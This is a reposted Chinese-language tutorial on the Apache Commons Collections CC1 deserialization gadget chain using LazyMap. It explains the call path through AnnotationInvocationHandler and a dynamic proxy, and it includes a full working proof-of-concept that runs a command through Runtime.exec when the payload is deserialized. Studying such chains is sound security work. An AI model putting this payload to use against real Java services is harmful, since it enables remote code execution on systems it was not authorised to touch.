0


[java安全]CommonsCollections1(LazyMap)

文章目录

【java安全】CommonsCollections1(LazyMap)

前言

前面我们学习了cc1链使用

TransformedMap

构造,但是

ysoserial

使用的是

LazyMap

进行构造的,相对复杂一点

我们先复习一下:

image-20230715014441472

LazyMap

TransformedMap

都是在

CommonsCollections

模块中,我们想要测试首先需要创建maven项目,然后导入坐标

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>

我们使用

TransformedMap

是通过触发

checkSetValue()

方法来触发

ChainedTransformer

类的

transform()

方法最终RCE

那么

LazyMap

是如何触发

transform()

方法呢?

LazyMap

我们查看

LazyMap

源码:

protectedLazyMap(Map map,Transformer factory){super(map);if(factory ==null){thrownewIllegalArgumentException("Factory must not be null");}else{this.factory = factory;}}publicObjectget(Object key){if(!this.map.containsKey(key)){Object value =this.factory.transform(key);this.map.put(key, value);return value;}else{returnthis.map.get(key);}}

发现

get()

方法可以执行

factory

变量的

transform()

方法,而

factory

刚好是

Transformer

类型

所以只要创建一个

LazyMap

对象,

factory

传入

ChainedTransformer

对象,只要调用了

LazyMap

对象的

get()

方法,就可以RCE了

如何创建

LazyMap

对象?

我们可以使用

decorate()

方法:

publicstaticMapdecorate(Map map,Transformer factory){returnnewLazyMap(map, factory);}

参数:

  • map参数可以传入一个空的HashMap对象
  • factory 可以传入一个ChainedTransformer对象

如何调用

LazyMap

get()

方法?

我们之前触发

TransformedMap

,是通过

sun.reflect.annotation.AnnotationInvocationHandler

执行

setValue()

触发

TransformedMap

checkSetValue()

函数执行

transform()

方法

protectedObjectcheckSetValue(Object value){returnthis.valueTransformer.transform(value);}

那我们怎么触发

TransformedMap#get()

方法呢?

我们再看看

sun.reflect.annotation.AnnotationInvocationHandler

源码:

publicObjectinvoke(Object var1,Method var2,Object[] var3){...if(var4.equals("toString")){returnthis.toStringImpl();}elseif(var4.equals("hashCode")){returnthis.hashCodeImpl();}elseif(var4.equals("annotationType")){returnthis.type;}else{Object var6 =this.memberValues.get(var4);...}

这里我们注意到

invoke()

调用了

this.memberValues

变量的

get()

方法,而

memberValues

变量

AnnotationInvocationHandler(Class<?extendsAnnotation> var1,Map<String,Object> var2){this.type = var1;// var1是Annotation的子类this.memberValues = var2;}

是构造

AnnotationInvocationHandler

传入的第二个参数,如果我们将

var2

传入

LazyMap

对象,那么只要

AnnotationInvocationHandler

触发了

invoke()

方法,就可以调用

LazyMap

get()

方法

如何触发

AnnotationInvocationHandler#invoke()

方法?

可以使用java的

动态代理

机制,

我们创建一个

AnnotationInvocationHandler

对象,第二个参数传入

LazyMap

对象,对

Map

创建一个代理:

Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);

然后只要随便使用

proxyMap

动态代理对象调用方法,就会触发

hander

变量,即

AnnotationInvocationHandler

对象的

invoke()

方法,从而调用

LazyMap

get()

问题又来了,怎么才能随便调用

proxyMap

动态代理对象的方法,并且使用

readObject()

反序列化的方式呢?

我们可以再次将

proxyMap

封装到

AnnotationInvocationHandler

中,因为它的

readObject()

方法存在函数调用:

privatevoidreadObject(ObjectInputStream var1)throwsIOException,ClassNotFoundException{
        var1.defaultReadObject();AnnotationType var2 =null;...Map var3 = var2.memberTypes();Iterator var4 =this.memberValues.entrySet().iterator();}

这里的

this.memberValues

就是

proxyMap

,他会调用

entrySet()

从而触发

invoke()

POC

测试环境

  • 3.1-3.2.1 jdk版本小于u71
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args){//Transformer数组Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"})};//ChainedTransformer实例Transformer chainedTransformer =newChainedTransformer(transformers);//LazyMap实例Map uselessMap =newHashMap();Map lazyMap =LazyMap.decorate(uselessMap,chainedTransformer);try{//反射获取AnnotationInvocationHandler实例Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);InvocationHandler handler =(InvocationHandler) constructor.newInstance(Override.class, lazyMap);//动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke           Map mapProxy =(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler);InvocationHandler handler1 =(InvocationHandler) constructor.newInstance(Override.class, mapProxy);//序列化ByteArrayOutputStream baos =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();//测试反序列化ByteArrayInputStream bais =newByteArrayInputStream(baos.toByteArray());ObjectInputStream ois =newObjectInputStream(bais);
            ois.readObject();
            ois.close();}catch(Exception e){
            e.printStackTrace();}}}

运行代码:
image-20230716180021848

总结

讲到这里,整个一条链子算是清晰了起来:

->AnnotationInvocationHandler.readObject()->proxyMap.entrySet().iterator()//动态代理类->AnnotationInvocationHandler.invoke()->LazyMap.get()->ChainedTransformer.transform()->ConstantTransformer.transform()->InvokerTransformer.transform()->…………

参考

CC链 1-7 分析

Java安全漫谈 - 11.反序列化篇(5)


本文转载自: https://blog.csdn.net/qq_61839115/article/details/131753114
版权归原作者 Leekos 所有, 如有侵权,请联系我们删除。

“[java安全]CommonsCollections1(LazyMap)”的评论:

还没有评论